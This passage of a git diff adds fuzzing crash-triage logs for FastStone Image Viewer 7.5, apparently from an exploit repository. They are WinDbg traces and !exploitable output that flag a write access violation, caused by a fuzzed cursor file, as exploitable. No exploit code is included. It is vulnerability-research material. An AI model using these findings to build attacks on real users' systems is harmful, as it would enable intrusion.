007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00221000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00221000 d38faeac 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62aa 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00221000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0xfd4bf7c +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x057b1968 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x2d8a +STACK_FRAME:image00000000_00400000+0x2017e8 +STACK_FRAME:image00000000_00400000+0x1ff973 +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x0000000000402d8a +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:EXPLOITABLE +BUG_TITLE:Exploitable - User Mode Write AV starting at image00000000_00400000+0x0000000000002d8a (Hash=0x67613208.0x057b1968) +EXPLANATION:User mode write access violations that are not near NULL are exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..04da651 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1694: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1694: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`749c0000 00000000`749dd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`749b4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1694.1d68): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=00000001 ebx=00008000 ecx=00000001 edx=0fd4bf7c esi=07fac2b8 edi=0fd4bf7c +eip=00402d8a esp=0019f8e4 ebp=0019f94c iopl=0 nv dn ei pl nz na po nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210602 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:005901bd fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.743861801539748960000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 1.530737203036982610860e-0003 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.48991e+011 5.19701e+006 1.77155e-024 2.94675e+010 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 006017e8 00000000 0019f9b8 00000000 image00000000_00400000+0x2d8a +0019f9c4 005ff973 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x2017e8 +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff973 +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fc8130 07f45930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00221000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00221000 d38faeac 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62aa 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00221000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0xfd4bf7c +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x057b1968 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x2d8a +STACK_FRAME:image00000000_00400000+0x2017e8 +STACK_FRAME:image00000000_00400000+0x1ff973 +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x0000000000402d8a +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:EXPLOITABLE +BUG_TITLE:Exploitable - User Mode Write AV starting at image00000000_00400000+0x0000000000002d8a (Hash=0x67613208.0x057b1968) +EXPLANATION:User mode write access violations that are not near NULL are exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4152816 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/10624/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..54a965a --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000011575000 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fcd7934 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..c6b6c32 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/EXPLOITABLE_0x67613208_0x057b1968/11849/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1160: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1160: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1160.1cd4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=00000001 ebx=1276ffde ecx=00000001 edx=11575000 esi=0804c2b8 edi=11575000 +eip=00402d8a esp=0019f8e4 ebp=0019f94c iopl=0 nv dn ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210616 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:005901bd fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.772009299217368160000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 1.525902189669642175960e-0003 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.15244e-009 -3.24612e+007 0.000208829 -1.10297e+034 +image00000000_00400000+0x2d8a: +00402d8a f3a4 rep movs byte ptr es:[edi],byte ptr [esi] + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 006017e8 00000000 0019f9b8 00000000 image00000000_00400000+0x2d8a +0019f9c4 005ff973 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x2017e8 +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff973 +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08068130 07fe5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002db000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002db000 d112701f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a7 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002db000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x11575000 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x057b1968 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x2d8a +STACK_FRAME:image00000000_00400000+0x2017e8 +STACK_FRAME:image00000000_00400000+0x1ff973 +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x0000000000402d8a +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:EXPLOITABLE +BUG_TITLE:Exploitable - User Mode Write AV starting at image00000000_00400000+0x0000000000002d8a (Hash=0x67613208.0x057b1968) +EXPLANATION:User mode write access violations that are not near NULL are exploitable. \ 